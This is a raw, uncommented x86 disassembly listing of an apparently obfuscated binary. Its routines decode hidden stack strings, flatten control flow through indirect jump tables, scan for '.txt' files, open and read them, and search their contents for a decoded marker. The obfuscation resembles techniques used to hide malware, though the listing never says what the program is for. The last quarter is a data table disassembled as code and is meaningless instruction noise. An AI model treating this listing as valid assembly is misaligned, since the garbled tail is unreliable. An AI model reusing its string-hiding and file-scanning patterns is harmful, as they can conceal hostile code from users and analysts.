push 0xa7ffa4f5
push dword [0x44ce58]
call fcn.0043f1e0
add esp, 8
mov edi, eax
mov eax, dword [ebp - 0x40]
mov esi, dword [eax + 4]
mov ebx, dword [ebp - 0x20]
jmp dword [0x447d58]
push dword [ebp - 0x3c]
call fcn.00408740
add esp, 4
add esi, 4
mov esi, dword [esi]
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x447d10]
push esi
call edi
push esi
call edi
mov al, 1
mov dword [ebp - 0x18], eax
jmp dword [0x447d64]
mov esi, dword [ebp - 0x44]
jmp dword [0x447d68]
mov ecx, dword [esp + 0x6c]
add ecx, 4
xor eax, eax
cmp ecx, 0xc
setne al
jmp dword [eax*4 + 0x447dd0]
push ebp
call fcn.00408740
add esp, 4
movzx eax, bl
jmp dword [eax*4 + 0x447e48]
push ebx
call fcn.00408740
add esp, 4
movzx eax, bl
jmp dword [eax*4 + 0x447e48]
jmp dword [0x447e50]
mov eax, dword [esp + 0x48]
mov ecx, dword [esp + 0x44]
shr eax, cl
add eax, eax
and eax, 0x2c
push eax
call fcn.00408730
add esp, 4
mov esi, eax
mov eax, dword [esp + 0x40]
movzx ecx, word [eax]
mov eax, esi
test cx, cx
je 0x42a711
mov edx, dword [esp + 0x50]
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42a700
mov dword [esp + 0x38], esi
mov word [eax], 0x5c
mov dword [esp + 4], 0xd906db68
mov dword [esp + 8], 0xdd7bdf69
mov dword [esp + 0xc], 0xd16ed37b
mov dword [esp + 0x10], 0xd503d730
mov dword [esp + 0x14], 0xa91bab60
mov dword [esp + 0x18], 0xad09af1e
mov dword [esp + 0x1c], 0xa119a315
mov dword [esp + 0x20], 0xa51aa70c
mov dword [esp + 0x24], 0xb930bb1f
mov dword [esp + 0x28], 0xbd02bf03
mov dword [esp + 0x2c], 0xb114b318
mov dword [esp + 0x30], 0xb7b0
xor ecx, ecx
xor esi, esi
nop
nop
movzx ebx, byte [esp + esi + 4]
mov ebp, ecx
and ebp, 0x5e
mov edx, esi
xor edx, 0x81058af
add edx, ebp
mov ebp, ebx
and ebp, edx
add ebp, ebp
sub edx, ebp
add dl, bl
add dl, 0x95
mov byte [esp + esi + 4], dl
inc esi
add ecx, 2
cmp esi, 0x30
jne 0x42a780
add eax, 2
mov edx, dword [esp + 0x34]
movzx ecx, word [edx]
test cx, cx
je 0x42a7d1
add edx, 2
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42a7c0
mov word [eax], 0
movzx ecx, word [esp + 4]
test cx, cx
je 0x42a801
lea edx, [esp + 6]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42a7f0
mov word [eax], 0
cmp dword [esp + 0x44], 0
jns 0x42a814
mov eax, 0xffffffff
jmp 0x42a81b
mov eax, dword [esp + 0x54]
xor eax, 0x12
push eax
call fcn.00408730
add esp, 4
mov esi, eax
mov dword [esp + 4], 0x37c2390b
mov dword [esp + 8], 0x33b835c9
mov dword [esp + 0xc], 0xcf3a31cd
mov dword [esp + 0x10], 0xcb34cd30
mov word [esp + 0x14], 0xc9c8
lea eax, [esp + 4]
mov byte [eax + 0x16], 0
mov dword [eax + 0x12], 0
mov ecx, 0x28
mov al, 1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [esp], al
movzx eax, byte [esp + ecx - 0x24]
lea edi, [ecx - 0x28da76b2]
and edi, eax
mov ebp, eax
mov ebx, eax
sub ebp, edi
sub ebp, edi
lea edx, [ecx + ebp]
add edx, 0xa369d9ff
mov ebp, edx
xor ebp, 0xfe
or edx, 1
and edx, ebp
add dl, bl
movzx eax, byte [esp]
add al, bl
and al, 1
sub dl, al
mov eax, edi
add al, al
sub dl, al
movzx eax, dl
add eax, ecx
mov byte [esp + ecx - 0x24], al
movzx eax, byte [esp]
inc ecx
inc al
cmp ecx, 0x3f
jne 0x42a870
mov eax, dword [esp + 0x34]
movzx edx, word [eax]
mov ecx, esi
test dx, dx
je 0x42a8f1
mov eax, dword [esp + 0x34]
add eax, 2
mov ecx, esi
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [eax]
add eax, 2
test dx, dx
jne 0x42a8e0
mov word [ecx], 0
movzx eax, word [esp + 4]
test ax, ax
je 0x42a921
lea edx, [esp + 6]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], ax
add ecx, 2
movzx eax, word [edx]
add edx, 2
test ax, ax
jne 0x42a910
mov word [ecx], 0
mov dword [esp + 4], 0x999a9baa
lea eax, [esp + 4]
mov byte [eax + 6], 0
mov word [eax + 4], 0
mov ecx, 0x26db1c1b
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [esp + ecx - 0x26db1c17]
mov edx, ecx
and edx, eax
add edx, edx
sub eax, edx
add eax, ecx
mov edx, eax
and edx, 0x78
xor eax, 0x78
lea eax, [eax + edx*2]
inc al
mov byte [esp + ecx - 0x26db1c17], al
inc ecx
cmp ecx, 0x26db1c22
jne 0x42a950
push 0
push 0
push 0xc00000
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x48]
push esi
push dword [esp + 0x11c]
call fcn.004233d0
add esp, 0x1c
mov edi, dword [esp + 0x34]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x48]
mov edx, dword [esp + 0x44]
lea ecx, [edx + eax]
add ecx, 0x17
test ecx, ecx
jns 0x42a9d0
mov eax, 0xffffffff
jmp 0x42a9d9
add eax, edx
lea eax, [eax*2 + 0x2e]
push eax
call fcn.00408730
add esp, 4
mov esi, eax
mov eax, dword [esp + 0x40]
movzx ecx, word [eax]
mov eax, esi
test cx, cx
je 0x42aa11
mov edx, dword [esp + 0x50]
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42aa00
mov dword [esp + 0x38], esi
lea ebp, [edi + 2]
mov ecx, dword [esp + 0x54]
add ecx, 0x12
mov dword [esp], ecx
mov word [eax], 0x5c
mov dword [esp + 4], 0xd906db68
mov dword [esp + 8], 0xdd7bdf69
mov dword [esp + 0xc], 0xd16ed37b
mov dword [esp + 0x10], 0xd503d730
mov dword [esp + 0x14], 0xa91bab60
mov dword [esp + 0x18], 0xad09af1e
mov dword [esp + 0x1c], 0xa119a315
mov dword [esp + 0x20], 0xa51aa70c
mov dword [esp + 0x24], 0xb930bb1f
mov dword [esp + 0x28], 0xbd02bf03
mov dword [esp + 0x2c], 0xb114b318
mov dword [esp + 0x30], 0xb7b0
xor edi, edi
xor esi, esi
nop
nop
nop
nop
nop
movzx ebx, byte [esp + esi + 4]
mov edx, edi
and edx, 0x5e
mov ecx, esi
xor ecx, 0x81058af
add ecx, edx
mov edx, ebx
and edx, ecx
add edx, edx
sub ecx, edx
add cl, bl
add cl, 0x95
mov byte [esp + esi + 4], cl
inc esi
add edi, 2
cmp esi, 0x30
jne 0x42aa90
add eax, 2
mov ecx, dword [esp + 0x34]
movzx edx, word [ecx]
test dx, dx
je 0x42aae1
mov esi, ebp
nop
mov word [eax], dx
add eax, 2
movzx edx, word [esi]
add esi, 2
test dx, dx
jne 0x42aad0
mov word [eax], 0
movzx edx, word [esp + 4]
test dx, dx
je 0x42ab11
lea esi, [esp + 6]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], dx
add eax, 2
movzx edx, word [esi]
add esi, 2
test dx, dx
jne 0x42ab00
mov word [eax], 0
cmp dword [esp + 0x44], 0xfffffff7
mov eax, dword [esp]
jge 0x42ab25
mov eax, 0xffffffff
push eax
call fcn.00408730
add esp, 4
mov dword [esp + 0x3c], eax
mov dword [esp + 4], 0x37c2390b
mov dword [esp + 8], 0x33b835c9
mov dword [esp + 0xc], 0xcf3a31cd
mov dword [esp + 0x10], 0xcb34cd30
mov word [esp + 0x14], 0xc9c8
lea eax, [esp + 4]
mov byte [eax + 0x16], 0
mov dword [eax + 0x12], 0
mov eax, 0x28
mov cl, 1
nop
mov byte [esp], cl
movzx ecx, byte [esp + eax - 0x24]
lea esi, [eax - 0x28da76b2]
and esi, ecx
mov ebx, ecx
mov edx, ecx
sub ebx, esi
sub ebx, esi
add ebx, eax
add ebx, 0xa369d9ff
mov edi, ebx
xor edi, 0xfe
or ebx, 1
and ebx, edi
add bl, dl
movzx ecx, byte [esp]
add cl, dl
and cl, 1
sub bl, cl
mov ecx, esi
add cl, cl
sub bl, cl
movzx ecx, bl
add ecx, eax
mov byte [esp + eax - 0x24], cl
movzx ecx, byte [esp]
inc eax
inc cl
cmp eax, 0x3f
jne 0x42ab70
mov edi, dword [esp + 0x34]
movzx ecx, word [edi]
mov esi, dword [esp + 0x3c]
mov eax, esi
test cx, cx
je 0x42abf2
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [ebp]
add ebp, 2
test cx, cx
jne 0x42abe0
mov word [eax], 0
movzx ecx, word [esp + 4]
test cx, cx
mov ebx, dword [esp + 0x38]
je 0x42ac21
lea edx, [esp + 6]
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42ac10
mov word [eax], 0
mov dword [esp + 4], 0x999a9baa
lea eax, [esp + 4]
mov byte [eax + 6], 0
mov word [eax + 4], 0
mov eax, 0x26db1c1b
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x26db1c17]
mov edx, eax
and edx, ecx
add edx, edx
sub ecx, edx
add ecx, eax
mov edx, ecx
and edx, 0x78
xor ecx, 0x78
lea ecx, [ecx + edx*2]
inc cl
mov byte [esp + eax - 0x26db1c17], cl
inc eax
cmp eax, 0x26db1c22
jne 0x42ac50
push 0
push 0
push 0xc00000
lea eax, [esp + 0x10]
push eax
push ebx
push esi
push dword [esp + 0x11c]
call fcn.004233d0
add esp, 0x1c
jmp dword [0x447e58]
mov ecx, dword [esp + 0x4c]
and cl, 1
or cl, al
mov dword [esp + 0x4c], ecx
jmp dword [0x447e60]
push esi
call fcn.00408740
add esp, 4
jmp dword [0x447e68]
jmp dword [0x447e68]
push ebx
call fcn.00408740
add esp, 4
mov ecx, dword [esp + 0x6c]
add ecx, 4
xor eax, eax
cmp ecx, 0xc
setne al
jmp dword [eax*4 + 0x447dd0]
mov dword [esp + 0x10], 0xe6eee8e6
mov dword [esp + 0x14], 0xe2ebe4ea
mov word [esp + 0x18], 0x2b35
mov byte [esp + 0x1a], 0xa
lea eax, [esp + 0x1b]
mov byte [eax + 4], 0
mov dword [eax], 0
xor eax, eax
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0x10]
mov edi, eax
or edi, 0xe823c4c0
mov esi, 0x7dc3b3f
sub esi, eax
and esi, 0x5041806
mov ecx, edi
and ecx, 0x2803c409
or ecx, esi
xor ecx, edx
xor ecx, 0xc6
mov ebx, eax
or ebx, 0xc0
and ebx, edx
or ebx, ecx
and edi, edx
sub ebx, edi
add bl, 0x40
mov byte [esp + eax + 0x10], bl
mov ecx, eax
and ecx, 7
xor eax, 0xce689387
lea ecx, [eax + ecx*2]
and eax, 1
xor ecx, 1
lea eax, [ecx + eax*2]
add eax, 0x31976c79
cmp eax, 0x10
jb 0x42aed0
movzx ecx, byte [esp + 0x10]
test cl, cl
je 0x42af80
lea eax, [esp + 0x10]
mov ebx, ebp
mov edi, dword [esp + 0x80]
jmp 0x42af59
movzx ecx, byte [eax]
test cl, cl
mov ebx, esi
je 0x42af92
movzx edx, byte [ebp]
test dl, dl
je 0x42af90
inc ebp
inc eax
mov esi, ebx
inc ebx
cmp dl, cl
je 0x42af6e
mov esi, ebx
mov ebp, ebx
je 0x42af50
lea eax, [esp + 0x10]
jmp 0x42af50
mov ebx, ebp
mov edi, dword [esp + 0x80]
jmp 0x42af92
xor ebx, ebx
xor eax, eax
test ebx, ebx
sete al
jmp dword [eax*4 + 0x447ed0]
lea ebp, [ebx + 0xa]
movzx eax, byte [ebx + 0xa]
xor edi, edi
test al, al
je 0x42afc2
mov ecx, ebp
nop
cmp al, 0x22
je 0x42afc0
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x42afb0
jmp 0x42afc2
mov edi, ecx
mov ecx, edi
sub ecx, ebp
xor eax, eax
cmp ecx, 5
setb al
jmp dword [eax*4 + 0x447ed8]
xor eax, eax
cmp byte [edi - 1], 0x74
setne al
jmp dword [eax*4 + 0x447ee0]
xor eax, eax
cmp byte [edi - 2], 0x78
setne al
jmp dword [eax*4 + 0x447ee8]
xor eax, eax
cmp byte [edi - 3], 0x74
setne al
jmp dword [eax*4 + 0x447ef0]
jmp dword [0x447f04]
xor eax, eax
cmp byte [edi - 4], 0x2e
setne al
jmp dword [eax*4 + 0x447f08]
mov dword [esp + 0x7c], ebx
mov eax, ecx
xor eax, 1
mov dword [esp + 0x60], ecx
and ecx, 1
lea ebx, [eax + ecx*2]
lea eax, [ebx + ebx]
test ebx, ebx
jns 0x42b045
mov eax, 0xffffffff
push eax
call fcn.00408730
add esp, 4
mov esi, eax
push edi
push ebp
push ebx
push eax
call fcn.0040af70
add esp, 0x10
push 0x60
push 3
push 0x120089
lea eax, [esp + 0x7c]
push eax
mov dword [esp + 0x60], esi
push esi
call fcn.0043fc50
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x447f10]
mov ebp, edi
jmp dword [0x447f60]
push dword [esp + 0x50]
call fcn.00408740
add esp, 4
mov ebp, edi
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [case.0x42902d.179]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
jmp 0x42aea0
push 0
lea eax, [esp + 0x70]
push eax
push dword [esp + 0x78]
call fcn.0043ffe0
add esp, 0xc
test eax, eax
setns al
mov ebx, dword [esp + 0x6c]
cmp ebx, 0x100000
setb cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x447f18]
push ebx
call fcn.00408730
add esp, 4
push 0
push ebx
mov dword [esp + 0x64], eax
push eax
push dword [esp + 0x7c]
call fcn.004400d0
add esp, 0x10
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x447f20]
xor edx, edx
mov ecx, dword [esp + 0x50]
jmp 0x42b121
add ecx, 2
test bx, bx
je 0x42b132
mov eax, edx
movzx ebx, word [ecx]
mov edx, ecx
cmp bx, 0x5c
je 0x42b119
mov edx, eax
jmp 0x42b119
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp + 0x54], edi
jmp dword [ecx*4 + 0x447f28]
mov dword [esp + 0x58], 0
mov dword [esp], 0
jmp dword [0x447f34]
mov ecx, eax
not ecx
mov edx, dword [esp + 0x50]
and ecx, edx
not edx
and edx, eax
sub edx, ecx
sar edx, 1
inc edx
mov ecx, dword [esp + 0x60]
mov eax, edx
mov dword [esp], edx
sub ecx, edx
mov dword [esp + 0x58], ecx
jmp dword [0x447f34]
mov eax, 0x1b
sub eax, dword [esp + 0x58]
push eax
call fcn.00408730
add esp, 4
mov dword [esp + 4], eax
mov eax, dword [esp]
mov ecx, dword [esp + 0x60]
add eax, ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0xa8aaa88b
mov dword [esp + 0x14], 0xb789bba6
mov dword [esp + 0x18], 0xb6e8c3b8
mov dword [esp + 0x1c], 0xfcb384b4
mov dword [esp + 0x20], 0x82b6ba9e
mov dword [esp + 0x24], 0xc0bab8b8
mov word [esp + 0x28], 0xc2c1
mov byte [esp + 0x2a], 0x12
mov word [esp + 0x2b], 0
xor eax, eax
movzx esi, byte [esp + eax + 0x10]
mov ebx, eax
neg ebx
lea edx, [ebx + ebx]
and edx, 0x2aa516a
xor ebx, 0x7eaad74a
sub ebx, edx
lea edx, [ebx + 1]
lea ecx, [ebx*2 + 2]
not ecx
add ecx, ebx
inc ecx
or ecx, esi
not edx
and edx, esi
sub edx, ecx
mov ecx, edx
and ecx, 1
xor edx, 1
lea ecx, [edx + ecx*2]
add cl, 0x87
mov byte [esp + eax + 0x10], cl
lea ecx, [eax + eax]
and ecx, 2
mov edx, ecx
and edx, eax
or ecx, eax
xor ecx, 1
add ecx, edx
mov eax, ecx
cmp ecx, 0x1d
jb 0x42b1e9
mov eax, dword [esp]
lea edx, [eax + ebp]
movzx eax, byte [esp + 0x10]
mov esi, dword [esp + 4]
mov ebx, esi
test al, al
je 0x42b26a
lea ecx, [esp + 0x11]
mov ebx, esi
mov byte [ebx], al
inc ebx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x42b25f
mov byte [ebx], 0
mov esi, dword [esp + 0xc]
test esi, esi
je 0x42b2b3
mov eax, dword [esp]
add eax, edi
sub eax, dword [esp + 0x7c]
add eax, 0xfffffff5
mov dword [esp + 0x68], eax
mov eax, esi
and eax, 3
mov dword [esp + 0x64], eax
je 0x42b2b7
xor eax, eax
mov esi, dword [esp + 0x64]
movzx ecx, byte [edx]
cmp cl, 1
sbb edx, 0xffffffff
mov byte [ebx + eax], cl
inc eax
cmp esi, eax
jne 0x42b296
add ebx, eax
mov esi, dword [esp + 0xc]
sub esi, eax
mov eax, ebx
jmp 0x42b2b7
mov eax, ebx
jmp 0x42b2f4
cmp dword [esp + 0x68], 3
jb 0x42b2f4
movzx eax, byte [edx]
cmp al, 1
sbb edx, 0xffffffff
mov byte [ebx], al
movzx eax, byte [edx]
cmp al, 1
sbb edx, 0xffffffff
mov byte [ebx + 1], al
movzx eax, byte [edx]
cmp al, 1
sbb edx, 0xffffffff
mov byte [ebx + 2], al
movzx ecx, byte [edx]
cmp cl, 1
sbb edx, 0xffffffff
lea eax, [ebx + 4]
mov byte [ebx + 3], cl
mov ebx, eax
add esi, 0xfffffffc
jne 0x42b2be
mov byte [eax], 0
mov ecx, dword [esp + 0xe4]
push dword [esp + 0x6c]
push dword [esp + 0x60]
push dword [esp + 0xc]
call fcn.00409630
jmp case.0x42afce.23
mov ebx, ecx
mov edi, dword [esp + 0x54]
mov byte [ebx], 0
mov ecx, dword [esp + 0xe4]
push dword [esp + 0x6c]
push dword [esp + 0x60]
push dword [esp + 0x14]
call fcn.00409630
jmp dword [0x447f38]
mov ecx, edi
mov ebx, dword [esp]
sub ecx, ebx
mov eax, dword [esp + 0x7c]
sub ecx, eax
add ecx, 0xfffffff6
mov dword [esp + 0x8c], ecx
mov ecx, edi
xor ecx, 2
add eax, ebx
sub ecx, eax
mov dword [esp + 0x68], ecx
sub edi, eax
add edi, 0xfffffff5
mov dword [esp + 0x64], edi
mov eax, dword [esp + 0x58]
add eax, 0x1b
push eax
call fcn.00408730
add esp, 4
mov ecx, dword [esp + 0x60]
sub ecx, ebx
mov dword [esp + 4], ecx
mov dword [esp + 0x10], 0xa8aaa88b
mov dword [esp + 0x14], 0xb789bba6
mov dword [esp + 0x18], 0xb6e8c3b8
mov dword [esp + 0x1c], 0xfcb384b4
mov dword [esp + 0x20], 0x82b6ba9e
mov dword [esp + 0x24], 0xc0bab8b8
mov word [esp + 0x28], 0xc2c1
mov byte [esp + 0x2a], 0x12
mov word [esp + 0x2b], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx + 0x10]
mov edi, ecx
neg edi
lea ebx, [edi + edi]
and ebx, 0x2aa516a
xor edi, 0x7eaad74a
sub edi, ebx
lea ebx, [edi + 1]
lea esi, [edi*2 + 2]
not esi
add esi, edi
inc esi
or esi, edx
not ebx
and ebx, edx
sub ebx, esi
mov edx, ebx
and edx, 1
xor ebx, 1
lea edx, [ebx + edx*2]
add dl, 0x87
mov byte [esp + ecx + 0x10], dl
lea edx, [ecx + ecx]
and edx, 2
mov esi, edx
and esi, ecx
or edx, ecx
xor edx, 1
add edx, esi
mov ecx, edx
cmp edx, 0x1d
jb 0x42b3d0
movzx edx, byte [esp + 0x10]
mov ecx, eax
test dl, dl
je 0x42b44b
lea ebx, [esp + 0x11]
mov ecx, eax
nop
nop
nop
nop
mov byte [ecx], dl
inc ecx
movzx edx, byte [ebx]
inc ebx
test dl, dl
jne 0x42b440
mov dword [esp + 0xc], eax
mov byte [ecx], 0
cmp dword [esp + 4], 0
mov esi, dword [esp + 0x68]
je 0x42b311
mov eax, dword [esp]
lea edx, [eax + ebp]
and esi, 3
je 0x42b4a4
xor eax, eax
mov edi, dword [esp + 0x54]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [edx]
cmp bl, 1
sbb edx, 0xffffffff
mov byte [ecx + eax], bl
inc eax
cmp esi, eax
jne 0x42b480
add ecx, eax
mov esi, dword [esp + 0x8c]
sub esi, eax
mov ebx, ecx
mov dword [esp + 4], esi
jmp 0x42b4a8
mov edi, dword [esp + 0x54]
cmp dword [esp + 0x64], 3
mov esi, dword [esp + 4]
jb 0x42b317
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [edx]
cmp bl, 1
sbb edx, 0xffffffff
mov byte [ecx], bl
movzx ebx, byte [edx]
cmp bl, 1
sbb edx, 0xffffffff
mov byte [ecx + 1], bl
movzx ebx, byte [edx]
cmp bl, 1
sbb edx, 0xffffffff
mov byte [ecx + 2], bl
movzx eax, byte [edx]
cmp al, 1
sbb edx, 0xffffffff
lea ebx, [ecx + 4]
mov byte [ecx + 3], al
mov ecx, ebx
add esi, 0xfffffffc
jne 0x42b4c0
jmp 0x42b317
mov ecx, dword [esp + 8]
and cl, 1
or cl, al
mov dword [esp + 8], ecx
jmp dword [0x447f40]
push dword [esp + 0xc]
call fcn.00408740
add esp, 4
jmp dword [0x447f48]
jmp dword [0x447f48]
push dword [esp + 0x5c]
call fcn.00408740
add esp, 4
mov eax, dword [case.0x42afce.16]
jmp eax
mov eax, dword [esp + 0x70]
mov dword [esp + 0x10], 0x989b9a9d
mov byte [esp + 0x14], 0
mov ecx, 0x2044b61b
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx - 0x2044b60b]
mov ebx, edx
and ebx, ecx
add bl, bl
sub dl, bl
movzx edx, dl
add edx, ecx
add dl, 0x79
mov byte [esp + ecx - 0x2044b60b], dl
inc ecx
cmp ecx, 0x2044b620
jne 0x42b560
mov ecx, dword [0x44ce64]
test ecx, ecx
je 0x42b5b6
mov edx, dword [esp + 0x10]
xor esi, esi
mov ebx, dword [0x44ce68]
cmp dword [ebx + esi*8], 0x1b6183f2
je 0x42b5ae
inc esi
cmp ecx, esi
jne 0x42b59e
jmp 0x42b5b6
mov ecx, dword [ebx + esi*8 + 4]
cmp ecx, edx
jne 0x42b5be
mov ebp, edi
jmp dword [0x447f60]
push eax
push 4
push ecx
push dword [0x44ce6c]
call fcn.0043d480
add esp, 0x10
mov ebp, edi
jmp dword [0x447f60]
push dword [esp + 0x78]
call fcn.00408740
add esp, 4
mov eax, dword [esp + 0x74]
mov dword [esp + 0x10], 0x989b9a9d
mov byte [esp + 0x14], 0
mov ecx, 0x2044b61b
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx - 0x2044b60b]
mov ebx, edx
and ebx, ecx
add bl, bl
sub dl, bl
movzx edx, dl
add edx, ecx
add dl, 0x79
mov byte [esp + ecx - 0x2044b60b], dl
inc ecx
cmp ecx, 0x2044b620
jne 0x42b600
mov ecx, dword [0x44ce64]
test ecx, ecx
je 0x42b658
mov edx, dword [esp + 0x10]
xor esi, esi
mov ebx, dword [0x44ce68]
nop
nop
cmp dword [ebx + esi*8], 0x1b6183f2
je 0x42b650
inc esi
cmp ecx, esi
jne 0x42b640
jmp 0x42b658
mov ecx, dword [ebx + esi*8 + 4]
cmp ecx, edx
jne 0x42b65e
jmp dword [0x447f90]
push eax
push 4
push ecx
push dword [0x44ce6c]
call fcn.0043d480
add esp, 0x10
jmp dword [0x447f90]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x447e88]
xor eax, eax
jmp dword [0x447e90]
jmp dword [0x447e9c]
lea esi, [esp + 0x74]
jmp dword [0x447eac]
push 0x60
push 3
push 0x120089
push esi
push edi
call fcn.0043fc50
add esp, 0x14
nop
nop
nop
nop
nop
nop
nop
push 0x60
push 3
push 0x120089
push esi
push edi
call fcn.0043fc50
add esp, 0x14
jmp dword [0x447eb0]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x447eb8]
mov dword [esp + 8], 0
jmp dword [0x447f90]
push edi
call fcn.00408740
add esp, 4
mov eax, dword [esp + 8]
and al, 1
jmp case.0x42902d.116
lea eax, [esp + 0x84]
push 0
push eax
push dword [esp + 0x7c]
call fcn.0043ffe0
add esp, 0xc
not eax
shr eax, 0x1f
mov dword [esp + 8], 0
jmp dword [eax*4 + 0x447ec0]
mov esi, dword [esp + 0x84]
lea eax, [esi + 1]
push eax
call fcn.00408730
add esp, 4
push 0
push esi
mov dword [esp + 0x80], eax
push eax
push dword [esp + 0x80]
call fcn.004400d0
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [esp + 8], 0
jmp dword [eax*4 + 0x447ec8]
mov eax, dword [case.0x42902d.183]
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
jmp dword [0x447f88]
mov dword [esp + 0x80], edi
mov eax, dword [esp + 0x84]
mov ebp, dword [esp + 0x78]
mov byte [ebp + eax], 0
mov dword [esp + 8], 0
jmp 0x42aea0
push edi
call fcn.00408740
add esp, 4
push edi
call fcn.00408740
add esp, 4
xor eax, eax
jmp dword [0x447ea0]
mov word [edx], es
mov al, byte [0xa000428c]
nop
inc edx
add bh, dh
xchg ebp, eax
inc edx
add byte [eax + edx*4], dh
inc edx
add byte [eax - 0x6a], cl
inc edx
add byte [0x56004290], bh
nop
inc edx
add byte [eax + edx*4 + 0x42], bl
add byte [ebp - 0x70], ah
inc edx
add byte [ebp + 0x500428e], dl
xchg ecx, eax
inc edx
add byte [ebx], dl
xchg ecx, eax
inc edx
add byte [esi - 0x48ffbd72], ch
xchg edx, eax
inc edx
add byte [esp + edx*4], cl
inc edx
add dh, dh
xchg edx, eax
inc edx
add byte [esi], cl
xchg ebx, eax
inc edx
add dh, bh
xchg edx, eax
inc edx
add byte [esp + edx*4], cl
inc edx
add byte [ebx - 0x6d], dl
inc edx
add byte [edi - 0x6c], ah
inc edx
add byte [0x93004298], ah
xchg esp, eax
inc edx
add byte [eax + ebx*4], dl
inc edx
add ah, cl
xchg esp, eax
inc edx
add dl, dl
xchg ebp, eax
inc edx
add byte [esi], ch
xchg ebp, eax
inc edx
add dl, dl
xchg ebp, eax
inc edx
add byte [ecx], al
cdq
inc edx
add dl, dl
xchg ebp, eax
inc edx
add byte [ebx], dh
cdq
inc edx
add byte [eax], ah
cdq
inc edx
add byte [ecx - 0x67], bl
inc edx
add byte [ebx - 0x66], dh
inc edx
add byte [esi - 0x5fffbd67], dh
cdq
inc edx
add byte [esi], cl
lcall 0x42, 0x9aec0042
rcr byte [edx - 0x651fffbe], 0x42
add byte [eax - 335527270], ah
lcall 0x42, 0x9aae0042
std
lcall 66, 0x9b090042
jns 0x447cee
inc edx
add byte [esi - 0x65], bh
inc edx
add byte [ebx - 0x64], ch
inc edx
add byte [eax - 0x64], ch
inc edx
add byte [eax - 0x64], ch
inc edx
add byte [ecx - 0x64], bh
inc edx
add byte [edx - 0x64], cl
inc edx
add byte [eax], ah
cdq
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add dl, dl
xchg ebp, eax
inc edx
add byte [ecx], al
add byte [eax], al
add bl, bl
xchg ebp, eax
inc edx
add byte [eax + ebx*4], dl
inc edx
add byte [edx], bl
cwde
inc edx
add byte [0x5e004298], ah
xchg ebx, eax
inc edx
add bh, al
cwde
inc edx
add bh, dl
cwde
inc edx
add byte [edi - 0x2ffbd6d], al
xchg ebx, eax
inc edx
add byte [edx], cl
xchg esp, eax
inc edx
add byte [edx - 0xdffbd63], cl
lahf
inc edx
add bl, al
popfd
inc edx
add dl, ah
popfd
inc edx
add cl, cl
popfd
inc edx
add ch, dl
popfd
inc edx
add al, ah
popfd
inc edx
add al, ah
popfd
inc edx
add dl, dh
lahf
inc edx
add al, ah
popfd
inc edx
add dl, bl
lahf
inc edx
add byte [esi], dl
mov al, byte [0x9fe00042]
inc edx
add ah, ch
lahf
inc edx
add byte [ebp - 0x3fffbd5f], bl
mov eax, dword [0xa6210042]
inc edx
add dl, ch
mov eax, dword [0xa6120042]
inc edx
add byte [edi], bl
mov byte [0xa23e0042], al
inc edx
add byte [edx - 0x5e], cl
inc edx
add bl, cl
movsb byte es:[edi], byte [esi]
inc edx
add ah, bl
movsb byte es:[edi], byte [esi]
inc edx
add ah, al
movsd dword es:[edi], dword [esi]
inc edx
add dl, cl
movsd dword es:[edi], dword [esi]
inc edx
add byte [edx], bl
lodsd eax, dword [esi]
inc edx
add byte [ecx], dl
lodsd eax, dword [esi]
inc edx
add dl, cl
movsd dword es:[edi], dword [esi]
inc edx
add byte [ecx], dl
lodsd eax, dword [esi]
inc edx
add cl, ch
movsd dword es:[edi], dword [esi]
inc edx
add ch, dh
movsd dword es:[edi], dword [esi]
inc edx
add byte [eax], dl
cmpsb byte [esi], byte es:[edi]
inc edx
add byte [eax], dl
cmpsb byte [esi], byte es:[edi]
inc edx
add byte [edx], dl
cmpsb byte [esi], byte es:[edi]
inc edx
